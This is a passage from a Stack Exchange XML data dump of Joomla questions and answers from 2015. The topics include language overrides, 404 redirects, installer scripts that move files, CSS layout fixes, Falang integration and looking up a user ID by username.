&quot;fast&quot; SMTP service.&lt;/p&gt;&#xA;" OwnerUserId="4120" LastActivityDate="2015-05-27T18:03:32.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10155" PostTypeId="1" AcceptedAnswerId="10158" CreationDate="2015-05-28T05:27:37.290" Score="3" ViewCount="4746" Body="&lt;p&gt;I want to detect the current site/frontend language within Javascript. How can I do to register the language for use within?&lt;/p&gt;&#xA;" OwnerUserId="5332" LastActivityDate="2015-05-28T06:48:03.863" Title="How to detect the current site/frontend language within Javascript" Tags="|javascript|language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10156" PostTypeId="1" CreationDate="2015-05-28T05:29:07.680" Score="2" ViewCount="62" Body="&lt;p&gt;How can I modify the feedback message returned by joomla? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What method do I need to override in order to extend the functionality that renders this message?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XaCb6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3582" LastEditorUserId="126" LastEditDate="2015-06-11T13:43:57.237" LastActivityDate="2015-06-11T13:43:57.237" Title="Modifying Joomla's feedback message" Tags="|joomla-3.x|overrides|language|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10157" PostTypeId="2" ParentId="10156" CreationDate="2015-05-28T06:46:26.640" Score="2" Body="&lt;p&gt;It's a simple language string which can be overriden in the language manager.&#xA;For that go to the Language Manager and there the &quot;Overrides&quot; submenu.&#xA;Click the &quot;New&quot; button.&#xA;You can use the search to find the language key you need to override. However I usually just search the ini files in the language directory directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your specific case, the only one I found which is matching is from Smart Search. So you're looking to override &lt;code&gt;COM_FINDER_N_ITEMS_PUBLISHED_1&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-28T06:46:26.640" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10158" PostTypeId="2" ParentId="10155" CreationDate="2015-05-28T06:48:03.863" Score="4" Body="&lt;p&gt;According to &lt;a href=&quot;https://stackoverflow.com/questions/662923/extract-lang-value-using-javascript&quot;&gt;https://stackoverflow.com/questions/662923/extract-lang-value-using-javascript&lt;/a&gt; you can use &lt;code&gt;document.documentElement.lang&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-05-28T06:48:03.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10159" PostTypeId="2" ParentId="10140" CreationDate="2015-05-28T09:02:35.990" Score="1" Body="&lt;p&gt;I never used Akeeba Subs in particular, however I understand a bit how the Joomla ACL works.&#xA;Since the user is able to access the component in the backend, you made everything correct in the global permissions.&#xA;What the user can access and do within the component is specified in the extensions options. You will have to check the permissions tab there and enable the needed actions. Usually &quot;Access Administration Interface&quot; should give access to the dashboard of a component, but it's up to the component how it will handle it and what it will show.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-28T09:02:35.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10160" PostTypeId="2" ParentId="10133" CreationDate="2015-05-28T09:11:44.233" Score="3" Body="&lt;p&gt;There is no Joomla API to get the current directory. There is no reason for it since &lt;code&gt;dirname(__FILE__)&lt;/code&gt; works perfectly fine :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to sanitise the filename, you can use  &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JPath.html#method_clean&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JPath::clean()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-28T09:11:44.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10161" PostTypeId="2" ParentId="9158" CreationDate="2015-05-28T09:23:46.813" Score="2" Body="&lt;p&gt;You could override the page navigation by creating a template override file in &lt;code&gt;/templates/your_template/html/plg_content_pagenavigation/&lt;/code&gt;. Copy the file &lt;code&gt;/plugins/content/pagenavigation/tmpl/default.php&lt;/code&gt; to this place and edit as needed.&#xA;However since the plugin doesn't load the article pictures, you will not have the data available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the only solution is to replace the pagenavigation plugin with another one. I could imagine that there is such a plugin on JED, or you could create your own by copying the pagenavigation one and edit it.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-28T09:23:46.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10162" PostTypeId="1" CreationDate="2015-05-28T09:23:51.153" Score="1" ViewCount="8148" Body="&lt;p&gt;I'm having issues getting the proper 404 page (templates/MY_TEMPLATE/error.php) to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've spent hours reading through &lt;em&gt;and&lt;/em&gt; trying every example or fix listed on Stack Exchange and other sites with no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such threads as:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4566/return-404-header-with-404-page&quot;&gt;return 404 header with 404 page&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/questions/4616/404-http-codes-in-joomla&quot;&gt;404 HTTP codes in Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the default .htaccess supplied with Joomla found here &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/htaccess.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/htaccess.txt&lt;/a&gt; and in my global configuration I have url rewriting and search engine friendly urls enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried with url rewriting off, search engine friendly urls off, redirect plugin disabled, renaming .htaccess to htaccess.txt, setting header and exit in error.php (although, I don't think error.php is even being loaded since everything redirects immediately to the homepage).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I admittedly know little about .htaccess, but I have tried commenting some of the rewrite rules out and this one in particular&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule .* index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is properly redirecting all real 404s to the error page, but index.php is present in all of my urls which is not desirable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone could offer any insight I would be most appreciative, thank you.&lt;/p&gt;&#xA;" OwnerUserId="4133" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2019-06-14T22:48:19.807" Title="Joomla 404 always redirects to homepage" Tags="|joomla-3.x|.htaccess-configuration|error-handling|redirect|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10163" PostTypeId="2" ParentId="10162" CreationDate="2015-05-28T10:29:55.417" Score="2" Body="&lt;p&gt;&lt;code&gt;index.php&lt;/code&gt; will always be present in the URL as long as you haven't enabled the option &quot;Use URL Rewriting&quot;. If you enable that one in the global config, it will be removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even 404 errors are going through the index.php because it's Joomla who decides if it's a 404 or not. It just renders a different &quot;template&quot; code (the error.php file) in the end.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-05-28T10:29:55.417" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10165" PostTypeId="2" ParentId="10048" CreationDate="2015-05-28T10:48:27.177" Score="2" Body="&lt;p&gt;I can help you out with the answer to Q1 (the SQL one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the SQL I used on &lt;a href=&quot;http://www.sqlfiddle.com/#!2/76eb2d/10&quot; rel=&quot;nofollow&quot;&gt;sqlfiddle&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT&#xA;  b.`child_id`,&#xA;  a.`name`,&#xA;  GROUP_CONCAT( c.`name` ORDER BY c.`name` SEPARATOR ', ') AS parents&#xA;FROM `a_parents` AS b&#xA;INNER JOIN `a_records` AS a ON a.`id`=b.`child_id`&#xA;INNER JOIN `a_records` AS c ON c.`id`=b.`parent_id`&#xA;GROUP BY b.`child_id`;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It assumes the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you're only interested in those children that have parents (so, the parent table is the &quot;origin&quot;, if you like - grouping by child_id)&lt;/li&gt;&#xA;&lt;li&gt;it should cater for more than 2 parents (on the assumption this is not about human ancestry, otherwise tripartite/polypartite parentage is way beyond the scope of stackexchange!)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the total length of the parents' names is not more than 1024 (if it were, you'd need to do something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SET group_concat_max_len = 1024 * 10;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;to set it to 10K, for example - this is done &lt;em&gt;before&lt;/em&gt; the SELECT)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alias c is used to allow mapping the parent's name to parent_id&lt;/li&gt;&#xA;&lt;li&gt;Use of MySQL 5.5 or later - earlier versions may work too&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The nub of the solution here is use of &lt;a href=&quot;https://dev.mysql.com/doc/refman/5.5/en/group-by-functions.html#function_group-concat&quot; rel=&quot;nofollow&quot;&gt;GROUP_CONCAT&lt;/a&gt; which avoid the need to do any PHP array processing to &quot;convert&quot; many rows to a single column.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As to the second question (Q2), you will &lt;em&gt;probably&lt;/em&gt; need to write a custom field handler.  I'm guessing as you don't say, but if you're using VM in the way you screenshotted, it looks like J2.5 (rather than J3), there are plenty of examples of where VM2 uses its own special fields (see administrator/.../elements for examples, if I recall correctly and perhaps also administrator/.../models/fields).  &lt;a href=&quot;http://forum.joomla.org/viewtopic.php?f=706&amp;amp;t=839733&quot; rel=&quot;nofollow&quot;&gt;The links here to writing custom back end fields might help&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4120" LastActivityDate="2015-05-28T10:48:27.177" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10166" PostTypeId="1" CreationDate="2015-05-28T10:51:33.483" Score="1" ViewCount="705" Body="&lt;p&gt;I know how to upload file given from jform if a component is already installed. But how to upload a file from my admin/assets/ folder of my component when installing the component? In my script.php I try the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jimport('joomla.filesystem.folder');&#xA;jimport('joomla.filesystem.file');&#xA;...&#xA;public function install($parent)&#xA;{&#xA;   // creating a folder&#xA;   $path = JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . &quot;templates&quot; . DIRECTORY_SEPARATOR . &quot;isis&quot; . DIRECTORY_SEPARATOR . &quot;html&quot; . DIRECTORY_SEPARATOR . &quot;com_content&quot; . DIRECTORY_SEPARATOR . &quot;article&quot;;&#xA;   $mode = 0755;&#xA;   JFolder::create($path, $mode);&#xA;&#xA;   // uploading a file&#xA;   $file = JPATH_COMPONENT_ADMINISTRATOR . DIRECTORY_SEPARATOR . &quot;assets&quot; . DIRECTORY_SEPARATOR . &quot;edit.php&quot;;&#xA;   $filename = JFile::makeSafe($file['name']);&#xA;   $src = $file['tmp_name'];&#xA;   $dest = JPATH_ADMINISTRATOR . DIRECTORY_SEPARATOR . &quot;templates&quot; . DIRECTORY_SEPARATOR . &quot;isis&quot; . DIRECTORY_SEPARATOR . &quot;html&quot; . DIRECTORY_SEPARATOR . &quot;com_content&quot; . DIRECTORY_SEPARATOR . &quot;article&quot; . DIRECTORY_SEPARATOR . $filename;&#xA;   JFile::upload($src, $dest);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The folder is being created successfully but the file is not being uploading to the folder and I get the can't move error&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-05-29T17:36:01.000" Title="Upload a file from custom component folder when installing the component" Tags="|component|development|joomla-api|file-upload|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10167" PostTypeId="2" ParentId="10166" CreationDate="2015-05-28T12:25:01.250" Score="1" Body="&lt;p&gt;Do your file movement tasks in postflight function of your script.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function postflight($type, $parent) &#xA;{&#xA;  // do it here&#xA;  JFile::move($src, $dest);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This function get called after copying files from your package, databases gets updated etc.&lt;/p&gt;&#xA;" OwnerUserId="4134" LastEditorUserId="4134" LastEditDate="2015-05-29T17:36:01.000" LastActivityDate="2015-05-29T17:36:01.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10168" PostTypeId="2" ParentId="10166" CreationDate="2015-05-28T12:38:43.487" Score="1" Body="&lt;p&gt;I think you have got muddle up here. When you install an extension, you already uploading a zip file. So once Joomla had processed this zip, the files are already on the server. You cannot &quot;&lt;em&gt;upload&lt;/em&gt;&quot; a file from one directory to another. You need to &quot;&lt;em&gt;move&lt;/em&gt;&quot; or &quot;&lt;em&gt;copy&lt;/em&gt;&quot; it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You the code you'll need to use will either be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFile::move($src, $dest);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JFile::copy($src, $dest);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as @Nagarjun already said, you need to put this code in the &lt;code&gt;postflight&lt;/code&gt; function rather than the &lt;code&gt;install&lt;/code&gt; function. Ig you use the &lt;code&gt;install&lt;/code&gt; function, the &lt;code&gt;$src&lt;/code&gt; file that you define may not yet exist ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-28T12:38:43.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10169" PostTypeId="2" ParentId="10166" CreationDate="2015-05-28T13:01:30.833" Score="-2" Body="&lt;p&gt;Here you can find a brief example of Joomla installer script file, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Manifest_files#Script_file&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Manifest_files#Script_file&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J2.5:Developing_a_MVC_Component/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4082" LastActivityDate="2015-05-28T13:01:30.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10170" PostTypeId="1" AcceptedAnswerId="10171" CreationDate="2015-05-28T14:11:16.637" Score="0" ViewCount="110" Body="&lt;p&gt;I have a protostar template that I customize myself from time to time using css. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks fine in a web browser and big tablets; although it isn't a major problem, when the window size or being viewed on a small resolution device the search bar itself doesn't stay consistent in it's width compared to everything else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search bar itself has loads of hidden margins &amp;amp; padding, and also a 90% width, but I don't know how I can make it stay the same width (as the menu as a reference) or at least have it float in the centre of the resolution when it goes into mobile view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goo.gl/SsHbPo&quot; rel=&quot;nofollow&quot;&gt;http://goo.gl/SsHbPo&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want my website name to appear in search engines so I linked it this way.&lt;/p&gt;&#xA;" OwnerDisplayName="user5312" LastActivityDate="2023-11-09T13:42:11.457" Title="Protostar smart search's position doesn't translate well to mobile" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10171" PostTypeId="2" ParentId="10170" CreationDate="2015-05-28T15:11:23.773" Score="0" Body="&lt;p&gt;In your CSS file, go to line &lt;strong&gt;7312&lt;/strong&gt;, where you will see the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header-search .search-query {&#xA;    width: 90%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace it all with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.header-search .search-query {&#xA;    box-sizing: border-box;&#xA;    height: 30px;&#xA;    width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-28T15:11:23.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10172" PostTypeId="1" AcceptedAnswerId="10173" CreationDate="2015-05-28T15:14:33.433" Score="1" ViewCount="40" Body="&lt;p&gt;In Joomla 3, template Yootheme - Eat, the content of tables is being displayed over the sidebar on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;a href=&quot;https://www.portal-gestao.com/item/7015-lista-de-f%C3%B3rmulas-excel-convers%C3%A3o-ingl%C3%AAs-portugu%C3%AAs.html&quot; rel=&quot;nofollow&quot;&gt;This Page&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for helping!&lt;/p&gt;&#xA;" OwnerUserId="5250" LastActivityDate="2015-05-28T15:34:51.233" Title="Main content being displayed over sidebar" Tags="|templates|css|styling|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10173" PostTypeId="2" ParentId="10172" CreationDate="2015-05-28T15:34:51.233" Score="0" Body="&lt;p&gt;I've noticed Chrome being a bit annoying when it comes to tables sometimes. Others have had the same issue as you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the following to your CSS file which will fix the problem&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;table {&#xA;    table-layout: fixed;&#xA;}&#xA;td {&#xA;    word-wrap: break-word !important;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-05-28T15:34:51.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10174" PostTypeId="1" AcceptedAnswerId="10294" CreationDate="2015-05-28T17:32:21.473" Score="0" ViewCount="403" Body="&lt;p&gt;Hello I am having some issues for integrate a custom component of joomla in Falang for multilanguage website&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debugging I got null:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Fatal error: Call to a member function getTable() on null&lt;/em&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;object(ContentObject)[183] public '_contentElement' =&gt; null&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My XML for integrate my component looks as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&#xA;    &amp;lt;falang type=&quot;contentelement&quot;&amp;gt;&#xA;      &amp;lt;name&amp;gt;Members&amp;lt;/name&amp;gt;&#xA;      &amp;lt;author&amp;gt;Stackoverflow.com&amp;lt;/author&amp;gt;&#xA;      &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;      &amp;lt;description&amp;gt;Definition for the core Members component&amp;lt;/description&amp;gt;&#xA;      &amp;lt;copyright&amp;gt;stackoverflow.com&amp;lt;/copyright&amp;gt;&#xA;      &amp;lt;reference&amp;gt;&#xA;        &amp;lt;table name=&quot;chambercommerce_members&quot;&amp;gt;&#xA;            &amp;lt;field type=&quot;referenceid&quot; name=&quot;id&quot; translate=&quot;0&quot;&amp;gt;ID&amp;lt;/field&amp;gt;&#xA;            &amp;lt;field type=&quot;titletext&quot; name=&quot;company_name&quot; translate=&quot;1&quot;&amp;gt;Company Name&amp;lt;/field&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; name=&quot;country&quot; translate=&quot;1&quot;&amp;gt;Country&amp;lt;/field&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; name=&quot;benefits_discounts&quot; translate=&quot;1&quot;&amp;gt;Benefits&amp;lt;/field&amp;gt;&#xA;            &amp;lt;field type=&quot;text&quot; name=&quot;web&quot; translate=&quot;0&quot;&amp;gt;Web&amp;lt;/field&amp;gt;&#xA;        &amp;lt;/table&amp;gt;&#xA;      &amp;lt;/reference&amp;gt;&#xA;      &amp;lt;translationfilters&amp;gt;&#xA;         &amp;lt;frontpage&amp;gt;id&amp;lt;/frontpage&amp;gt;&#xA;         &amp;lt;keyword&amp;gt;company_name&amp;lt;/keyword&amp;gt;&#xA;         &amp;lt;id&amp;gt;id&amp;lt;/id&amp;gt;&#xA;      &amp;lt;/translationfilters&amp;gt;&#xA;    &amp;lt;/falang&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I make my xml looking the others one in my joomla installation for falang and there is this var_dump.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;em&amp;gt;object(ContentObject)[180]  public '_contentElement' =&amp;gt; object(ContentElement)[179]  public '_xmlFile' =&amp;gt; ...&amp;lt;/em&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help for fix it?&lt;/p&gt;&#xA;" OwnerUserId="5333" LastActivityDate="2015-06-04T11:05:30.460" Title="Joomla, Falang integrate component... Fatal error: Call to a member function getTable() on null" Tags="|php|joomla-3.3.x|xml|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10176" PostTypeId="2" ParentId="10062" CreationDate="2015-05-28T21:27:08.400" Score="-1" Body="&lt;p&gt;if you use &lt;code&gt;&amp;lt;link &amp;gt;&lt;/code&gt; your joomla head will not be &lt;strong&gt;tidy&lt;/strong&gt; because the &lt;code&gt;&amp;lt;link &amp;gt;&lt;/code&gt; will show under javascript block, outsite &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; and joomla will back to folder css again. This will affect the performance of joomla is supposed to. And if you use &lt;code&gt;&amp;lt;link &amp;gt;&lt;/code&gt; you will get many variable echo in plain index.php :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use &lt;code&gt;$doc-&amp;gt;addStyleSheet&lt;/code&gt; because the &lt;code&gt;.css&lt;/code&gt; will be show on css block ,inside &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;. that same for javascript use &lt;code&gt;$doc-&amp;gt;addScript&lt;/code&gt;. After &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt; joomla will assume all finished and will do more important work. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people use &lt;code&gt;&amp;lt;link &amp;gt;&lt;/code&gt; for unsupport browser like ie&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!--[if IE 8]&amp;gt;&#xA;&amp;lt;link href=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/templates/&amp;lt;?php echo $this-&amp;gt;template; ?&amp;gt;/css/ie8only.css&quot; rel=&quot;stylesheet&quot; type=&quot;text/css&quot; /&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&#xA;&amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script src=&quot;&amp;lt;?php echo $this-&amp;gt;baseurl ?&amp;gt;/media/jui/js/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;![endif]--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will be show on the bottom of &lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&lt;/code&gt;.  &lt;/p&gt;&#xA;" OwnerUserId="5334" LastEditorUserId="5334" LastEditDate="2015-05-29T14:49:42.903" LastActivityDate="2015-05-29T14:49:42.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10177" PostTypeId="1" AcceptedAnswerId="10178" CreationDate="2015-05-29T06:14:20.963" Score="5" ViewCount="6892" Body="&lt;p&gt;I know I can get &lt;a href=&quot;https://docs.joomla.org/JFactory/getUser&quot; rel=&quot;noreferrer&quot;&gt;user information&lt;/a&gt; from any user with the &lt;code&gt;getUser( $id )&lt;/code&gt; object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;&#xA;if (!$user-&amp;gt;guest) {&#xA;  echo 'You are logged in as:&amp;lt;br /&amp;gt;';&#xA;  echo 'User name: ' . $user-&amp;gt;username . '&amp;lt;br /&amp;gt;';&#xA;  echo 'Real name: ' . $user-&amp;gt;name . '&amp;lt;br /&amp;gt;';&#xA;  echo 'User ID  : ' . $user-&amp;gt;id . '&amp;lt;br /&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But is it possible to get the ID of any user based on username (or even better, the real name)? Note that I'm not looking for the current logged in user, but any given user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given only the users name, I want to echo something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Jon Doe has user ID: 43&#xA;Jane Doe has user ID: 82&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2015-05-29T06:20:03.960" LastActivityDate="2015-05-29T08:14:19.817" Title="Get user ID from username" Tags="|joomla-3.x|user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10178" PostTypeId="2" ParentId="10177" CreationDate="2015-05-29T07:06:25.177" Score="10" Body="&lt;p&gt;Simple, you can use &lt;code&gt;JUserHelper&lt;/code&gt; to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$username = 'jophanpw';&#xA;$userId    = JUserHelper::getUserId($username);&#xA;&#xA;echo $userId;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the code above does is run the following database query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function getUserId($username)&#xA;{&#xA;    $db = JFactory::getDbo();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select($db-&amp;gt;quoteName('id'))&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__users'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = ' . $db-&amp;gt;quote($username));&#xA;    $db-&amp;gt;setQuery($query, 0, 1);&#xA;&#xA;    return $db-&amp;gt;loadResult();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2015-05-29T08:14:19.817" LastActivityDate="2015-05-29T08:14:19.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10179" PostTypeId="1" AcceptedAnswerId="10180" CreationDate="2015-05-29T07:18:44.310" Score="0" ViewCount="566" Body="&lt;p&gt;I am trying to override an administrator component controller class in jomsocial for the purpose of adding an extra field in category edit option and to save it in db.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_component_mvc_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;, created a community plugin. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Direct Access to this location is not allowed.');&#xA;&#xA;jimport( 'joomla.plugin.plugin' ); &#xA;require_once( JPATH_SITE .'/administrator/components/com_community/libraries/core.php'); &#xA;require_once( JPATH_SITE .'/administrator/components/com_community/controllers/groupcategories.php');&#xA;&#xA;class plgCommunityMygroupcategories extends JPlugin { &#xA;&#xA;function __construct(&amp;amp; $subject, $config){ &#xA;    parent::__construct($subject, $config);&#xA;&#xA;    $app = JFactory::getApplication();&#xA;   if('com_community' == JRequest::getCMD('option') &amp;amp;&amp;amp; $app-&amp;gt;isAdmin()) {&#xA;&#xA;&#xA;        require_once($_SERVER['DOCUMENT_ROOT']. '/folder_path/dev/web/administrator/components/com_community/controllers/mygroupcategories.php');&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the new controller, I try to extend the main group controller&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CommunityControllerMyGroupCategories extends 